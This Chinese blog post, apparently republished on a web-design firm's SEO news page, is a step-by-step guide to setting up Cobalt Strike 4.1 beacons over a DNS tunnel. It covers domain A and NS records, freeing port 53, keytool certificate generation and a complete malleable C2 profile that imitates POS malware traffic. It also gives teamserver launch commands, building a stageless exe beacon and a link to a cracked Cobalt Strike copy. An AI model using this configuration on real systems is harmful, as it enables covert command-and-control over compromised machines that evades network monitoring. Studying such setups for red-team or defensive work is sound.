十年网站开发经验 + 多家企业客户 + 靠谱的建站团队
量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决
今天就跟大家聊聊有关CS中DNS隧道踩坑的示例分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。
创新互联公司专注于企业成都全网营销推广、网站重做改版、宝安网站定制设计、自适应品牌网站建设、HTML5建站、商城网站建设、集团公司官网建设、外贸网站建设、高端网站制作、响应式网页设计等建站业务,价格优惠性价比高,为宝安等各大城市提供网站开发制作服务。
DNS隧道的复现一直失败,看了无数的文章,被无数同人文荼毒之后,我CS终于成功上线了。
这里讲一下复现过程中踩过的坑,希望能帮一些朋友们少走一些弯路,有些细节的地方我水平有限,也属于猜想之类的,各位大佬们有理解的可以多分享、讨论。
我的配置情况是:
某不知名小厂的ubuntu18云服务器+godaddy购买的域名+CS4.1。
以下内容按照DNS隧道上线的过程书写。
域名购买平台的要求在于,能否自由定制NS记录(不太理解这句话,可以直接跳转到"坑点三:域名的配置")。
比如,能否添加一条NS记录,指定ns1.test.site指向www.test.site。
很多文章都是跟着粗暴地购买了godaddy。
但是在我复现的过程中,我曾经贪便宜买过一次很便宜的域名,买完发现不能自由配置NS记录,钱白花了。
我买错过一次之后,最后选择的也是godaddy的域名,然后我朋友看了下国内的几家大厂也是可以自由配置的。
感谢这位大佬的博客,写得很好,涉及到了监听器的配置踩坑与DNS流量抓包分析,并且提到了CS版本的问题:
https://xz.aliyun.com/t/7938#toc-8
经过这个大佬的测试,以及我本人的验证,有些流传的CS4.0破解版在做checkin操作的时候,teamserver服务端不会响应传回启动命令(黑框不会变蓝上线)
所以我最后选择使用的是CS4.1版本
我的4.1版本的CS是在网上一个大佬的博客找的,弟弟比较菜,我也不知道是否有后门之类的,这里放个网盘链接吧:
链接:https://pan.baidu.com/s/1c8aqkrfpEhajJ9o_KCByhA
提取码:di9v
域名设置如下:
一条A记录指向CS的IP地址
vpn.test.site => CS的IP地址
几条NS记录指向刚刚A记录对应的域名(也可以只写一条)
ns1.test.site => vpn.test.site
ns2.test.site => vpn.test.site
ns3.test.site => vpn.test.site
这里有个小细节,域名解析的地方有个TTL值,据说这东西关系到解析域名要等多长时间,国内的很多厂商设置的最小值可以写60,godaddy最小值为600,建议先把这个东西写成平台允许的最小值,等到检验OK了再调大,一般调成600~900即可
我的云服务器是ubuntu18,执行netsta命令的时候会看到一个服务占用了53端口,这个服务是systemd-resolved,是需要关闭的
关闭方法很简单:
systemctl stop systemd-resolved
如果不关闭这个服务,设置DNS监听器时很明显是有error的,其实就是端口冲突了
很多同人文喜欢写的nslookup得到0.0.0.0的响应信息,这时候nslookup是没有响应的
有些朋友们会修改bindto的那个端口号,比如我图片里看起来确实没有error了,但其实不得行
去nslookup依旧是没有响应的
现在关闭这个服务,然后nslookup,发现有响应了,响应为8.8.4.4,这个是跟profile里对应的,所以和同人文的0.0.0.0不一样(后面"坑点五:profile的配置"里面会讲)
这里我还做了测试,bindto的端口不论是置空还是指定,nslookup都是有响应的
我个人的猜想是CS的DNS服务与bindto的端口无关,与53端口有关
bindto的端口类似msf建立连接时指定用来处理事项的端口
53端口才是CS真正去做DNS的监听和收发信息的关键点,因此不能被占用
感谢两位大佬的博客内容:
https://choge.top/2020/08/16/Cobaltstrike%E4%B9%8B%E6%B5%81%E9%87%8F%E9%9A%90%E8%97%8F/ (讲得是CS流量隐藏,这里用到的是开头的生成store文件的命令)
https://www.nctry.com/1655.html (我profile的内容就是从大佬这里捞过来改的)
如图所示,删除服务器端原有的cobaltstrike.store
(这里我用的是finalshell,在ssh控制的同时,可以查看、修改、上传、下载服务器里的文件,推荐一波,挺好用的,下载地址:http://www.hostbuf.com/)
利用keytool生成store文件
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=CC, OU=HW, O=IBM, L=AD, ST=AC, C=AV"
解释一下:
keystore store文件的名字 profile里的keystore要和这里的keystore一致,我采用的是cobaltstrike.store这个名字
keypass 证书密码 profile里的password要和这里设置的keypass一致,我下文profile是保持一致的,都用的123456
alias 别名 profile里的alias要和这里的alias一致,我下文的profile已经保持一致了,都用的baidu.com
dname 证书内容 profile里的https-certificate要和这里一致,我下文的profile已经保持一致了
storepass store文件的密码 这个被我单独拉出来说,因为这个不是和profile保持一致的,是和teamserver保持一致的,vim teamserver打开teamserver,把光标移动到文件尾部,可以看到如图所示
teamserver默认的store文件密码就是123456,我这里生成的时候就直接设置密码为123456了
修改端口号的话可以起到隐藏CS特征的作用,不过客户端连接服务器端的时候,别忘了把连接的端口号修改一下
以下内容保存并命名为命名为C2.profile,上传到服务器端
这里面的dns_idle可以自己配置的,我这里设置的是8.8.4.4也就是为什么我nslookup ns1.test.site的时候,响应的是8.8.4.4,而不是同人文里的0.0.0.0
set sample_name "tryblog POS Malware"; set sleeptime "5000"; # use a ~30s delay between callbacks set jitter "10"; # throw in a 10% jitter set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0"; #设置证书,注意以下内容得和你之前生成的证书一样 https-certificate { set CN "CC"; set O "IBM"; set C "AV"; set L "AD"; set OU "HW"; set ST "AC"; set validity "365"; } #设置,修改成你的证书名称和证书密码 code-signer{ set keystore "cobaltstrike.store"; set password "123456"; set alias "baidu.com"; } #指定DNS beacon不用的时候指定到IP地址 set dns_idle "8.8.4.4"; #每个单独DNS请求前强制睡眠时间 set dns_sleep "0"; #通过DNS上载数据时主机名的最大长度[0-255] set maxdns "235"; http-post { set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php"; client { header "Accept" "text/plain"; header "Accept-Language" "en-us"; header "Accept-Encoding" "text/plain"; header "Content-Type" "application/x-www-form-urltrytryd"; id { netbios; parameter "id"; } output { base64; prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data="; print; } } server { output { print; } } } http-get { set uri "/updates"; client { metadata { netbiosu; prepend "user="; header "Cookie"; } } server { header "Content-Type" "text/plain"; output { base64; print; } } }
通过profile启动CS的命令:
./teamserver CS的IP地址 自己设置的密码 ./C2.profile
当然,也可以后台运行:
nohup ./teamserver CS的IP地址 自己设置的密码 ./C2.profile &
这一部分详细的分析可以看看大佬的博客:https://xz.aliyun.com/t/7938#toc-8
简单来讲,很多同人文喜欢往监听器里塞A记录的域名
但是实际情况是CS4.0之后,上下两个框框里要写的都是NS记录的域名,下面那个框框(stager)里面只需要随便挑一个上面大框框里的NS记录写上就行
接下来就是有手就行的上线时刻。
生成一个exe马,选择stageless的那个,一个原因是这个的dns有x64版本,另一个主要原因是,这是个完整的马,选另一个的话,被控机器和CS服务器之间要磨磨唧唧下载完stage数据,才会开始上线通信,这个过程太慢了。
虚拟机运行CS马,这时CS上有个黑框,平时http通道的直接是蓝色的。
只需要右键选择进入beacon,然后输入chekin,等一会儿,黑框就变蓝了,之后就能正常交互了
输入一个whoami测试一下,等待CS和被控机器的“亲切友好交流”结束,回显成功
以上就是这段时间摸索DNS隧道时踩过的坑,希望对一些朋友有帮助。最后,里面有些东西我没能理解,比如为啥不用profile启动CS就没有响应之类的,欢迎大家分享、讨论。
以下是猜测:
CS借助profile启动这一块我有个想法,我把C2.profile里的8.8.4.4改成0.0.0.0就失败无回应不能上线,改成23.234.234.234(随手乱打的)就能成功,所以我怀疑,0.0.0.0这个对DNS上线产生的影响,猜测默认的CS这款工具的设置里就是0.0.0.0,所以导致一直出现各种问题,直到我偶然修改profile并使用,相当于把0.0.0.0给换掉了,然后就上线成功了。
看完上述内容,你们对CS中DNS隧道踩坑的示例分析有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注创新互联行业资讯频道,感谢大家的支持。